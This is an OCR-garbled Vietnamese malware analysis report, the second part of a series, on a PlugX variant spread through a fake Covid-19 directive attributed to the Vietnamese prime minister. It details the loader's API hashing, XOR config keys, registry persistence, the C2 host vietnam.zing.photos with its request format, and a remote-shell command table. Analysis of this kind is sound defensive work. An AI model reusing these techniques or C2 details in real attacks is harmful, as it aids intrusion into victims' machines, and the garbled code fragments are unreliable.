[RE012-2] Phan tich ma déc lgi dung dich Covid-19 dé
phat tan gia mao “Chi thj cua thu twéng Nguyen Xuan
Phuc” - Phan 2

i

SUBROUTTIN

proc near
dec ebp ; PE magic number

pop
call

; call to Loader (0x10001710)

R:
R:
R
R
R:
R:
R
R
R
R:
R:
R
R
R:
R:
R
R
R
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R
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Nhw da dé cap & phan trwdc, unsecapp.exe sé nap http_dll.dll, code tai http_dIl.dll doc
dir liéu d& ma hoa trong http_dll.dat va tién hanh gidi ma payload cudi vao bd nhé, sau doé
goi thang t&i payload nay dé thuwc thi. Cé thé ndéi véi ki thuat fileless malware nay, payload
cudi cung sé& khong hé dé lai dau vét trén 6 dia.

Payload ndi trén ban chat 1a mét dil (name: HT.dll), trong qua trinh phan tich ching téi nhan
thay day |a mot bién thé cia dong PlugX. Trong bai viét nay, ching t6i s& mé td mot s hoat
dong co ban cta bién thé nay.

1. M6 phong hoat dong Windows Loader

Céch thire thwe thi payload nay kha giéng kiéu thuce thi shellcode. N6 dwoc goi thang téi
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ImageBase, tir day sé goi t&¢i ham dwoc export 1a Loader (0x10001710).

HEADER : 10800000 ; Sssssssssssssss SUBROUTTINE
HEADER H

proc near
dec 3 PE magic number

pop
call

; call to Loader (ox18001718)

HEADER . 10000016

Hinh 1: Thwc thi code tir ImageBase dé goi t&i ham Loader

Ham Loader lam nhiém vu:

o Truy xuét PEB l4y tén cac module, tinh toan hash twong rng.

« Néu tén module tring v&i hash da tinh toan trwdc, 14y tén cac ham thudc module dé.
Tinh toan hash cta cac ham.

« Néu tén ham trung v&i hash da tinh toan truwdc, thwe hién Iay ra dia chi ctia ham.

« Thuwc hién cac buwdc twong tw nhiém vu cia Windows Loader dé nap chinh xac dll va
sau d6 nhay thang t&i DIIEntryPoint.

Danh sach cac hash twong (rng véi module va tén ham ma ma doc s dung:

Hash Module / Function
Ox6A4ABC5B kernel32.dll
O0x3CFA685D  ntdll.dll
OXECOE4E8E LoadLibraryA
Ox7CODFCAA GetProcAddress

0x91AFCA54  VirtualAlloc
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0x534C0AB8 NtFlushlnstructionCache

bllEntryPﬂint
NtFlushInstruc

(DLLEntryPoint €
{DLLEntryPoint )( 1pMem
return DLLEntryPoint;

Hinh 2: Nhay t&i DIIEntryPoint

2. Cac cach thuwc thi chinh

T DIIEntryPoint sé goi t&i chirc nang chinh ctia ma doc. Tai day, thwc hién gidi ma ciu
hinh ctia ma déc (chira théng tin thu muc, C2, ports), sau dé sé c6 hai hwéng thwe thi chinh
nhw sau:

Hwéng Muc dich
thwc
thi

Khéng  Tao thw muc dé lwu ma doc, ghi cac files vao thuw muc da tao, thiét 1ap

co persistence key trong registry dé chay malware v&i tham sd ngau nhién va thuc
tham thi lai ma doc voi tham soé 1a “6”.

Co Tao mutex, két ndi, giao tiép vai dia chi C2 va thyc hién cac 1énh.
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const WCHAR *LpMutexMame ; ST14_4&
HANDLE hMalMutex; [esp+&h] [ebp-Ch]

NumArgs; [esp+Ch] [ebp-4h]

f GetsysInfoAndDecodeMalwareConfig();
pNUmATrgs = 0;

LpCmdLine = f_GetCommandLineW( );
f_CommandLineToArgwW(1lpCmdLine, &pNum
if ( pMumArgs = 1 )

f_DropMmalFiles();
f_ExitProcesswrapper(o);

p
sub_1000a840();
CreateMutexw( \ , LpMutexMame);
E

.F
if [ f_GetLastErrorCodeValue() =
I
L

return @;
k
f_ConnectToC2Sever(0);
f_CloseHandle(hMalMutex);
Y
f_ReleaseTLSandCloseCOMLib( };

return 9;

}

Hinh 3: Cac hinh thirc thwe thi ciia méa doc

Trong qua trinh phan tich, ching t6i thiy payload nay goi t&i cac ham APls théng qua cac
ham wrapper nham muc dich lam réi. Cac ham wrapper s dung ki thuat stackstrings dé xay
dwng tén API, goi ham GetProcAddress dé lay dia chi that, sau do thwc thi ham chinh.

3. Giai ma cau hinh

Nhw mé ta & trén, trwde khi thwe thi chire ndng chinh, ma doc sé thwce hién gidi ma ciu hinh
lién quan téi tén thw muc dung dé lwu cac files, dia chi C2, port s dung (80, 443, 8080,
8000). Ham giai ma tai 0x1000AD10 thwc hién nhiém vu:

« Copy toan bd vung di¥ liéu da ma héa vao bd nhé (Néu cé file payload nhw & phan
tride thi vung di liéu nay nam tai offset 0x1D000).

e S dung XOR dé thuwc hién vong I&p gidi ma toan bd dir liéu cé kich thwdc 0x724
bytes v&i khoa gidi ma la “123456789”.
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int key le
char szKey
int i;

f MemCpy(&pMalConfig, @encoded data, 0x7
result = f memcmp(&pMalConfig,
if ( result )

f

0;
= f_lstrlenA(szKey);

f XorDecode(apMalConfig, @x724

Hinh 4: Gidi ma cau hinh cGia ma doc

Hinh anh truwéc va sau khi giai ma:
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Hinh 5: Két qua trwéc va sau khi gidi ma thanh cong

4. Tao files va thiét lap persistence key

Nhw da phan tich trong phan trwéc, ban dau ma doc tao cac files trong thu muc
%LocalAppData%\Temp va khdi chay file 3.exe. O 14n thuc thi dau tién, do khong truyén
tham s nén ma doc sé thye hién ma ng véi hwdng “khdng ¢6 tham sé”. Tém lwoc nhiém
vu cla hwéng nay:
L4y théng tin tén thw muc tir cAu hinh da gidi ma, ciu thanh cac chubi
%userprofile%)\; %allusersprofile%)\, tao thw muc “Microsoft Malware
Protectionydy” va xay dwng dwéorng dan dé Iwu files:
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lwarebirPath,

lalwarebirPath, @=208u);

Hinh 6: C4u thanh dwdng dan phuc vu lwu ma déc

L&y thong tin cac files da tao & thw muc %LocalAppData%\Temp, tao cac files méi &
thw muc da chi dinh:

sub 1BUBﬁTCﬂ[1p

f ropyF:L'lEWI Lps

Hinh 7: Tao files tai thw muc do ma doc chi dinh

Céu thanh chubi gdm dwong dan téi %AllUsersProfile%\Microsoft Malware
Protectionydy\ unsecapp.exe kém theo mét tham sd ngau nhién dé lwu vao
Reqistry:

ﬂtHHmH.f = f GenRandomMum( @x64u);

sZUnsecAppPathwithArgument, L"\"%s)\" %d' LpszUnsecAppPath, argument);

Hinh 8: C4u thanh dwdng dan t&i file thwe thi kém tham sb ngau nhién
Tao cac registry run key tai

HKLM\Software\Microsoft\Windows\CurrentVersion\Run va
HKCU\Software\Microsoft\Windows\CurrentVersion\Run:
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LenUnsecAppPath = f_lstrlenW(&lpszUnsecAppPathWithArgument);

CA
f RegistryPersistencel(

'
sZRunRegitryKey,

zMalDirName,
glpszUnsecAppPathWithArgument,
2 * LenUnsecAppPath + 2,
)i

LenUnsecAppPath2 = f lstrlenW nsZUnsech thwithArgument);

.I._l

Hinh 9: Tao persistence run key

HEEY_LCCAL BAACHIRE SOFTWARE Microsoft\Windows\ Curent Ve rsion'\ Fun

it h -
e i 5 1
MNebaoekbarade lngoge R - .
. " B 27 Evendiong REG 52 T T i, |
detihsaticn = = =
Bl i e [---‘ Microsoft Maksare Protectionydy REG 52 C\ProgramData’ Microsoft Mahsare Protectionydysuns=capp. mae" - |

Hinh 10: Key tao thanh céng tai HKLM\Software\Microsoft\Windows\CurrentVersion\Run

WARE\Microso ' Windows CusrerdVersicn Run

JHEEY_CLURREMT_LEERLS

Ll *lame Type
arer ) (gl EEi T valug ol it
| b sl Makea 1 R Pragrasnlial rasclt Malware Preteciormdyu s appues |

Hinh 11: Key tao thanh céng tai HKCU\Software\Microsoft\Windows\CurrentVersion\Run

cubi cung, thyc thi malware mét lan nira véi tham sé méac dinh 1a “6™:

f FﬂurrrrThr-a.l:Il hT
a {1pF

Hinh 12: Thuwc thi lai ma déc véi tham sé méc dinh
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[8=] unsecapp.exe (1432) Properties — L] X

Environment Handles Job GPU Disk and Metwork Comment
General Statistice  Performance  Threads — Token Modules  Memory

File
ESET HTTP Server Serwice
(Verified) ESET, spal. sr.o.

Version: 5.0,511.0

Imaage file name:
Z:VProgramData\Microsoft Malware Protectionydy\unsecapp.exe S

Process
Command line: Microsoft Malware Protectionydy\unsecapp.exe” 6 N

Hinh 13: M3 doc thwe thi véi tham sd mac dinh

5. Két néi va giao tiép véi C2

z
Xy

Bang cach thuc thi lai kém theo tham s6, ma ddc sé thwe hién I&énh tai hwdng “c6 tham s6”.
Hwéng nay tao mutex, két ndi téi dia chi C2 va thuwe hién cac 1énh. Ma doc sé khéi tao dé st
dung Winsock théng qua ham WSAStartup, bat cac quyén lién quan t&i “Privilege
Escalation”: SeDebugPrivilege, SeTcbPrivilege, SeTcpPrivilege.

Ma déc xay dwng cac TLS (Thread Local Storage) cho phép nhiéu luéng cua tién trinh

cung s dung chung mét gia tri index dwoc cap phat bédi ham TisAlloc. Céc gia tri TLS ma
ma doc st dung trong bién thé nay bao gébm:

Tén Muc dich

CXOnline::OlStartProc Thure thi thread CXOnline::OlStartProcPipe
Khé&i tao giao tiep voi C2

CXOnline::OlStartProcPipe Khdéi tao pipe, phan tich va thwc hién cac C2 commands.

CXSoHttp::SoWorkProc GUri yéu cau toi C2. Mbi két ndi thwe hién 03 lan.
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CXFuncShell::ShellT1 Thwc hién shell, lién quan t&i ReadFile

CXFuncShell::ShellT2 Thwc hién shell, lién quan t&i WriteFile

Ma déc két hop nhiéu cach khac nhau dé két ndi téi C2, st dung HTTP POST request hodc

théng qua raw TCP. Ludng code s&r dung HTTP POST request dé khai tao két nbi t&i C2
nhw sau:

h
f_ConnectTolZSever

{_EreatEThreadE1ientTDSErwerEnmnunicatinnl

¥
|F_StarLPip-}Emmuni cat i|:|n| '-|+‘_In1'1,1'a1 izesPip&E-:mmunicatiunﬁ-ndﬁ'unsﬂmmand3| |+‘_Im' LEZCommunicat i nn|
F. 5

T -
" — -
- B! i

\ . .

*___ -¥_
sub_10008570]  [sub_ 10008440

. T i

A == x>
f_EraateanuasLZEZSarwarThraadl If_ExachnmandeErDuplUDl

.
|F_SendRBquast2E&ESeuar|

f_DoConnectTolZ

.
|F_Estah1ishEnnnEt1innTDE2|

b

f_HtipFosiRequesiToMa lwareCz

Hinh 14: Ludng thwc thi st dung HTTP POST request

Dé giao tiép v&i C2, ma ddc xay dwng cac théng tin sau trong Request Headers:
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o User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1,;
« Thiét 1ap “Pragma: no-cache” thong qua viéc bat co

INTERNET_FLAG_PRAGMA_ NOCACHE|INTERNET_FLAG_KEEP_CONNECTION
« B sung cac tham sb:

- X-debug

- X-request
- X-content
- X-storage

URL str dung dé glri yéu cau t&i C2 c6 dang: lupdate?wd=%8.8x (%8.8x |a 8 s6 ngau
nhién).

Ma doc thwe hién gwvi tdi thiéu 03 request t¢i C2, néu khong thanh cdng sé sir dung port
khac dé két néi. Cac port str dung gém: 80, 443, 8080, 8000.

) f:_:l :I
if ( +this—break cond

break;

f_Sleep(©x3E8);

Hinh 15: T4i thiéu 03 1an cho méi request t&i C2

# Headt  Protooo Host  LURL Body Caching Content-Type Process

el 200 HTTP vielnam.#ng, photos  fupdatewd =08dd4321 258 text bt unsscapp: 2944
=820 200 HTTF vietnam.zing. photos  fupdate?wd=2e458ce9 258 et hubm unsecapp: 2944
=528 200 HTTP vielnam.zng.pholos  fupdate?wd =87ch 5 258 et bt unsecapp: 2944

Hinh 16: Minh hoa 03 két ndi v&i URL ngau nhién théng qua port 80
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Request Headers
POST fupdate fwd=08dd4321 HTTP/1.1
Cache
Pragma: no-cache
Client
Accept: *=/*
User-Agent: Mozilla/4.0 {(compatible; MSIE 6.0; Windows MT 5. 1;5V1;
Entity
ContentLength: 0
Miscellaneous
x-content: 61456
x-debug: 0
x-request: 0
¥-storage: 1
Transport
Connection: Keep-Alive
Host: vietnam. zing.photos

Hinh 17: Request Headers gi t&¢i C2 tr may nan nhan

Trong trwéng hop két ndi thanh cong téi C2, qua trinh twong tac véi nan nhan sé duoc diéu
khién b&i C2. V&i bién thé ma chung t6i phan tich, khi nhan dwoc thong tin tir C2, né sé thuc
hién 1énh theo hai nhom Iénh khac nhau phu thuéc vao qua trinh giao tiép. Cac nhom Iénh
cé id 1an lwot 13 0x1001 va 0x1002.
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F_MainPrncl

f_ConnectToliZever

f_CreateThreadClientToServerCommunication

F
[f_8tartPipeCommunication| M f_InitializesPipeCommunicationfndRunsCommands| [f_InitCZCommunication

—

b o T
. \ — “ﬂf-“'"- P
. ™, . - =l
. - -
. sub_10008370]  [sub_10003880]
s - = .
. E T ’
e : T B
F_ExecCummandDFErnuplﬂﬂl| F_EkecﬁnmmandDFGrnupIDDZWPapper|

—_—

-~

Hinh 18: Cac nhém Iénh sé thwe hién néu giao tiép thanh céng véi C2

Cac lénh *ng v&i nhdm [énh ¢c6 id 0x1001:

Lénh Muc dich

0x1001 LAy théng tin hé théng cla nan nhan: théng tin tinh trang st dung bé nhé; théng
tin phién ban vé hé diéu hanh dang hoat dong; théng tin vé tén may, tén nguoi
dung; théng tin vé CPU: théng tin vé kich thuéc man hinh; tao CSLID cta méa
déc (HKLM\Software\CLASSES\ms-pu / HKCU\Software\CLASSES\ms-pu)

0x1002 Tao thread lién quan t&i giao tiép Pipe (CXOnline::OlStartProcPipe)

0x1003 Unknown

0x1004 ExitProcess
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switch ( cmdgroup—group _id )

¢ Ax1081:
s = f_GetSystemInformation(al, cmdgroup, name, name_1);

break;

default:

Hinh 19: Nhém Iénh tng véi id 0x1001

Cac lénh ng v&i nhdm [énh ¢c6 id 0x1002:

Lénh

0x7002

0x3000
0x3001

0x3004
0x3007
0x300A
0x300B
0x300C

0x300D

Muc dich

Tao pipe name, khéi chay cmd.exe dwéi pipe name, thyc hién remote shell v&i
cac thread CXFuncShell::ShellT1 & CXFuncShell::ShellT2

L4y théng tin 6 dia, dung lwvong.

Tim kiém file.

M@ file, lay théng tin ngay thang, kich thuwéc va doc ndi dung file.
Ghi file.

Tao thw muc.

Kiém tra ton tai file.

Kh&i chay tién trinh méi dwéi mot Desktop an.

Goi ham SHFileOperationW nham thwc hién copy, move, rename, hoac delete
moét file.
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0x300E  M& rong bién méi truong va thay thé bang céc gia tri ma ké tan cong mong
muon.

0x300F L&y thv muc chira ma déc.

( group_id

f_MalPipeRemoteShell(al, cmdgroup);

itch { group

Hinh 20: Nhém Iénh (ng v&i id 0x1002

Qua trinh thwe hién cac nhom I1énh ndi trén, ma doc sé trao déi noi dung théng qua viéc ma
hoéa/giai ma (st dung XOR) va nén/giai nén di¥ liéu (str dung thuat toan nén LZ):
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h. 4
f_ExecCommand0fGrouplinl

f_ExecCommand0fGroupl00ZW rapper

F_EHECEDmmandDFGPDuplﬂDZ——ﬂf_Ma]PipeHetheShe11

f_WriteFileWrapper f_Remote3hel1Z

sub_1000B0ED

f_DecryptDatakDecompressBuf

Hinh 21: Nhém 1énh st dung ma héa/gidi ma trong qua trinh giao tiép

Hinh 22: Nhém 1énh st dung ma héa/gidi ma trong qua trinh giao tiép
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Thuat toan ma hoéa/gidi ma dir liéu st dung & bién thé nay dé giao tiép gitra nan nhan va C2
la XOR, kém theo mét gia tri cb dinh 13 '6666' (0x36363636):

[esp+Bh] [ebp-8h]

. [E'5|:'+-'+E1r [EE:'I:-""-I"I:

ker_tﬂﬂ +=
output[i]
}

return #;

}

Hinh 23: Thuat toan XOR st dung dé ma héa/giai ma

6. Ghi log

Trong qua trinh thwe hién, néu cé exception xay ra, ma doc sé st dung thread
CXSalvation::SalExceptionHandler dé ghi log vao file cé tén la SS.log v&i cac thong tin co
ban gém:
"EName: %s": tén cua exception
o "EAddr: 0x%p": dia chi gay ra exception
o "ECode: 0x%p": ma cla exception

Poan code dwoc ma doc st dung dé thwc hién ghi log nhw sau:
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FileName, 525

uterName);

sub_10002548(
sub_1eea25A8(
sub_10002548(
sub_1eee2548( "\t
sub_l@@a25a@(sz
sub_1eea25A0( J
hFile = f_CreateFilew(

|| (status = f_GetLastErrorcodevalue()) = @ )

if { NumberofByt 1 ::lpBuffer, Gu, SNumberOfByteswritten, 9) )
{
if { |f_wWriteFile{hFile, LpBuffer, nMum
{
status = f GetlastErrorCodevaluel J;

Hinh 24: Ma ddc ghi log vao file SS.log

Bai phéan tich xin dwoc dirng lai tai day, qua day co thé thdy day la mét dong ma déc phirc
tap v&i nhiéu chire ndng. Ma doc théng qua nhiéu budc dé co thé khéi chay duoc payload
cubi cung, dbng thoi dir liéu trao déi véi C2 déu duoc nén va méa héa, gitp cho méa déc cé
thé vurot qua duoc cac gidi phap phong vé mot cach kha hiéu qua.

Pé tién theo dbi, ching téi cung cap bai phan tich day du dwéi dang PDF:

File Name: CSS-RD-ADV-200319-012_Phan tich ma déc loi dung dich Covid-19 dé phat tan
gid mao “Chi thi clia th twéng Nguyén Xuan Phuac” v1.0 Final

File Hash (SHA-
256): 3b0af20f01e2a543cdd43e47e57553bd42d6103e670de2ef75fe5383a2cccdab
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